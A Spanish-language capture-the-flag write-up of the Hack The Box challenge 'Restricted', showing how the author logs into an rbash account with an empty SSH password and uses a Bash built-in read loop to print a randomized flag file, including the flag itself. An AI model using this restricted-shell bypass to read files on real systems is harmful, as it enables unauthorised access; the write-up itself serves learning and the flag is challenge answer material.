Restricted
3 minutos de lectura
Se nos proporciona una instancia remota para conectarnos:
$ nc 64.227.41.83 30543
SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u1
Invalid SSH identification string.
Ncat: Broken pipe.
Parece que debemos acceder a través de SSH.
Conexión por SSH
También se nos proporcionan algunos archivos:
$ tree
.
├── Dockerfile
├── build_docker.sh
└── src
├── bash_profile
├── flag.txt
└── sshd_config
2 directories, 5 files
Mirando el DockerFile
, vemos que hay un usuario llamado restricted
y tiene configurado rbash
(Bash restringida):
FROM debian:latest
RUN apt update -y && apt upgrade -y && apt install openssh-server procps -y
RUN adduser --disabled-password restricted
RUN usermod --shell /bin/rbash restricted
RUN sed -i -re 's/^restricted:[^:]+:/restricted::/' /etc/passwd /etc/shadow
RUN mkdir /home/restricted/.bin
RUN chown -R restricted:restricted /home/restricted
RUN ln -s /usr/bin/top /home/restricted/.bin
RUN ln -s /usr/bin/uptime /home/restricted/.bin
RUN ln -s /usr/bin/ssh /home/restricted/.bin
COPY src/sshd_config /etc/ssh/sshd_config
COPY src/flag.txt /flag.txt
COPY src/bash_profile /home/restricted/.bash_profile
RUN chown root:root /home/restricted/.bash_profile
RUN chmod 755 /home/restricted/.bash_profile
RUN chmod 755 /flag.txt
RUN mv /flag.txt /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`
RUN ssh-keygen -A
RUN mkdir -p /run/sshd
EXPOSE 1337
ENTRYPOINT ["/usr/sbin/sshd", "-D", "-o", "ListenAddress=0.0.0.0", "-p", "1337"]
Además, se permite el acceso mediante contraseña vacía en la configuración de SSH (src/sshd_config
):
$ cat src/sshd_config | grep -vE '^#|^$'
Include /etc/ssh/sshd_config.d/*.conf
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
Match user restricted
PermitEmptyPasswords yes
Entonces, obtengamos acceso:
$ ssh restricted@64.227.41.83 -p 30543
restricted@ng-restricted-cbu9d-649588ff4f-qklkq:~$
Reconocimiento básico
Usando algunos comandos simples, vemos que no tenemos muchos comandos disponibles:
restricted@ng-restricted-cbu9d-649588ff4f-qklkq:~$ whoami
-rbash: whoami: command not found
restricted@ng-restricted-cbu9d-649588ff4f-qklkq:~$ id
-rbash: id: command not found
restricted@ng-restricted-cbu9d-649588ff4f-qklkq:~$ ls
-rbash: ls: command not found
restricted@ng-restricted-cbu9d-649588ff4f-qklkq:~$ cat
-rbash: cat: command not found
Confirmamos que estamos dentro de una Bash restringida.
Comandos built-in
Sin embargo, todavía podemos usar comandos built-in como echo
, read
o printf
. Y también podemos usar bucles y bloques condicionales (while
, for
, if
-else
…).
En este reto debemos leer la flag utilizando estos comandos built-in (más información en HackTricks).
La forma en que resolví el reto fue usando esta instrucción de Bash:
while read line; do echo $line; done < /flag*
Lo que significa es que Bash leerá líneas de un archivo hasta la señal EOF (fin de archivo) e imprimirá la línea usando echo
. Luego, con <
, estamos pasando un archivo para que read
lo use como descriptor de archivo del que leer. Finalmente, necesitamos agregar un wildcard /flag*
porque el nombre de archivo de la flag se aleatoriza cuando comienza el contenedor Docker (se muestra en el Dockerfile
).
Flag
Y aquí tenemos la flag:
restricted@ng-restricted-cbu9d-649588ff4f-qklkq:~$ while read line; do echo $line; done < /flag*
HTB{r35tr1ct10n5_4r3_p0w3r1355}